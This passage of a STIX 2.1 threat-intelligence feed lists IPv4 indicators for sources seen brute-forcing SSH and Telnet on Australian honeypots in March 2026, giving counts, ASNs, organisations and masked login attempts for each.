        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '9.234.8.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8a3ef344-84c8-4f04-8d0d-a4bc5ca1b324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.253.6.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T18:15:03.000Z",
      "valid_until": "2026-04-30T18:15:01.000Z"
    },
    {
      "created": "2026-03-29T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--952edd43-1944-4ef9-b21e-976d6b552deb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.111.131.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T18:15:03.000Z",
      "valid_until": "2026-04-30T18:15:01.000Z"
    },
    {
      "created": "2026-03-29T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--cb537681-33ff-4d29-9ed9-819b7ccb4bd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.191.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T18:15:03.000Z",
      "valid_until": "2026-04-30T18:15:01.000Z"
    },
    {
      "created": "2026-03-29T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264169. Organisation(s): WNP INTERNET.",
      "id": "indicator--f687797c-0cfc-4ece-86e8-096cbc33636c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.94.203.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T19:15:09.000Z",
      "valid_until": "2026-04-30T19:15:01.000Z"
    },
    {
      "created": "2026-03-29T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 19970. Organisation(s): R&R Managed Telecom Services. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ef4ece93-b033-4e97-9b42-b01d128d9e3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.245.11.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T19:15:09.000Z",
      "valid_until": "2026-04-30T19:15:01.000Z"
    },
    {
      "created": "2026-03-29T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19108. Organisation(s): Optimum.",
      "id": "indicator--3d6db20c-b45c-455a-afda-c95b8ae6791e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.205.108.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T19:15:09.000Z",
      "valid_until": "2026-04-30T19:15:01.000Z"
    },
    {
      "created": "2026-03-29T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--14532344-ab3e-4afb-9a3b-94ff77bc3f4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.234.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T19:15:09.000Z",
      "valid_until": "2026-04-30T19:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation.",
      "id": "indicator--fa519563-407c-4af9-8888-4c4135d3359b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.65.228.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**5, 3***********4, 3**********4, N*************3, P*******..",
      "id": "indicator--dfbb0fc8-3c28-48a4-bf8f-57d2e93bf1ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.202.44.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): 1*******!, 6**********,.",
      "id": "indicator--1be33b90-249e-47d5-8672-6806dbee12b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.128.175.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): r**t. Passwords observed (masked): 1**5, i*********#.",
      "id": "indicator--d9510f8a-b334-474f-a56a-1e558f404109",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.26.82.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--51ac579e-c04c-40ab-9353-1a1ad1d5d9cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.55.44.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--4bf48bba-ed95-4d15-9fe6-0dd406b9b7f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '96.44.138.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:15:03.000Z",
      "valid_until": "2026-04-30T20:15:01.000Z"
    },
    {
      "created": "2026-03-29T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b12ca3c2-3064-471b-ab1c-576b2665ef4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.47.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:15:04.000Z",
      "valid_until": "2026-04-30T21:15:01.000Z"
    },
    {
      "created": "2026-03-29T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--130125fd-53bd-4c5d-af25-c33219aa5380",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:15:04.000Z",
      "valid_until": "2026-04-30T21:15:01.000Z"
    },
    {
      "created": "2026-03-29T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12768. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--ef793e80-f6ec-41a8-8417-474262f44fa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.146.238.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:15:04.000Z",
      "valid_until": "2026-04-30T21:15:01.000Z"
    },
    {
      "created": "2026-03-29T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**************3, B******3, P*********3.",
      "id": "indicator--6b4e00dc-e43a-4d1a-a05f-8078ae15fdd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:15:04.000Z",
      "valid_until": "2026-04-30T21:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--eeb91c49-d54a-4a85-b18d-bb1ab721e65f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.176.160.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********F, 3***********4, 3**********4, L*****1, N*******1.",
      "id": "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.155.125.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--15387033-bb07-4aed-bf18-39b0054597cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****************1, 1**********c, 3**********4, 5*******i, j*******6.",
      "id": "indicator--f4078907-0849-49db-8f64-174f372488d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.33.14.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--a23a661f-bbe6-46ae-a268-bb0ddffa2ec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.59.90.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--60e9f6f7-5f95-4212-8ca9-4ff6d00b514b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.226.105.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T22:15:03.000Z",
      "valid_until": "2026-04-30T22:15:01.000Z"
    },
    {
      "created": "2026-03-29T23:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--451ea2b5-afbb-42c3-8cb4-094dab349e77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.117.175.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T23:15:24.000Z",
      "valid_until": "2026-04-30T23:15:01.000Z"
    },
    {
      "created": "2026-03-29T23:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f83ed713-00d2-47f9-b167-a3e3750b090d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.54.41.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T23:15:24.000Z",
      "valid_until": "2026-04-30T23:15:01.000Z"
    },
    {
      "created": "2026-03-30T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain.",
      "id": "indicator--da25de29-6524-4b5c-8601-76439b487922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.210.37.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T00:15:04.000Z",
      "valid_until": "2026-05-01T00:15:01.000Z"
    },
    {
      "created": "2026-03-30T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--99170b04-cb6e-4ffc-976a-0118cd639174",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.155.165.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:15:05.000Z",
      "valid_until": "2026-05-01T01:15:01.000Z"
    },
    {
      "created": "2026-03-30T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5584e0a2-e230-4d1c-a0b7-5f56d5f99b6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.222.246.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:15:05.000Z",
      "valid_until": "2026-05-01T01:15:01.000Z"
    },
    {
      "created": "2026-03-30T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 1******h, 2**************d, 3***********4, 3**********4.",
      "id": "indicator--2d17d422-47d4-4eed-8c0a-2286d4e4574f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.225.253.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:15:05.000Z",
      "valid_until": "2026-05-01T01:15:01.000Z"
    },
    {
      "created": "2026-03-30T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267394. Organisation(s): AV3M Telecom e Multimidia LTDA.",
      "id": "indicator--3643ecbe-6172-45a4-aca4-b042a971fe2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.235.61.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:15:05.000Z",
      "valid_until": "2026-05-01T01:15:01.000Z"
    },
    {
      "created": "2026-03-30T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: XK. ASN(s): 21246. Organisation(s): IPKO Telecommunications LLC.",
      "id": "indicator--602d4f2a-2fb4-4b76-83d6-0fc23f07ae82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.99.225.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:15:05.000Z",
      "valid_until": "2026-05-01T01:15:01.000Z"
    },
    {
      "created": "2026-03-30T02:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8369. Organisation(s): Intersvyaz-2 JSC.",
      "id": "indicator--d7aba973-3710-4552-8194-08be8f18402e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.140.99.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:15:03.000Z",
      "valid_until": "2026-05-01T02:15:01.000Z"
    },
    {
      "created": "2026-03-30T02:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--0babe4d5-0451-4f80-a0fd-e4a0db838f33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.191.8.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:15:03.000Z",
      "valid_until": "2026-05-01T02:15:01.000Z"
    },
    {
      "created": "2026-03-30T02:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--9b39a9ee-f576-449d-b997-636a9e9efae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.97.227.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:15:03.000Z",
      "valid_until": "2026-05-01T02:15:01.000Z"
    },
    {
      "created": "2026-03-30T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--35d30797-9a44-49a7-9111-88db25ca6250",
